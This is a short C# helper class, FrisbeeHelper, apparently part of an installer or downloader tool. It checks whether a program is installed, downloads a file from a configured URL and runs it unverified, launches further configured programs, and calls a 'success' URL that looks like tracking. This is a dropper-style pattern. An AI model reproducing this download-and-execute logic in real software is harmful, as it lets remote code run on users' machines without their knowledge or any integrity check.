FrisbeeHelper.cs 1.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
  1. using Oreo.CleverDog.Commons;
  2. using System;
  3. using System.Collections.Generic;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Text;
  7. using Y.Utils.AppUtils;
  8. using Y.Utils.DataUtils.Collections;
  9. using Y.Utils.DataUtils.EncryptUtils;
  10. using Y.Utils.NetUtils.HttpUtils;
  11. using Y.Utils.WindowsUtils.InfoUtils;
  12. using Y.Utils.WindowsUtils.ProcessUtils;
  13. namespace Oreo.CleverDog.Helpers
  14. {
  15. public class FrisbeeHelper
  16. {
  17. public static bool IsSoftExist()
  18. {
  19. if (SoftwareTool.ExistFile(Settings.Frisbee.ExistFile) ||
  20. SoftwareTool.ExistProcess(Settings.Frisbee.ExistProcess) ||
  21. SoftwareTool.ExistControl(Settings.Frisbee.ExistSetup))
  22. {
  23. return true;
  24. }
  25. return false;
  26. }
  27. public static bool DownFileAndRun()
  28. {
  29. string downfile = R.Paths.App + Settings.Frisbee.UrlFileName;
  30. if (HttpTool.Download(Settings.Frisbee.Url, downfile))
  31. {
  32. if (File.Exists(downfile))
  33. ProcessTool.StartProcess(downfile);
  34. return true;
  35. }
  36. return false;
  37. }
  38. public static void RunOtherApp()
  39. {
  40. if (!ListTool.IsNullOrEmpty(Settings.Frisbee.Run))
  41. {
  42. foreach (var r in Settings.Frisbee.Run)
  43. {
  44. if (!string.IsNullOrWhiteSpace(r))
  45. {
  46. ProcessTool.StartProcess(r);
  47. }
  48. }
  49. }
  50. }
  51. public static void SuccGetUrl()
  52. {
  53. HttpTool.Get(Settings.Frisbee.SuccGetUrl);
  54. }
  55. }
  56. }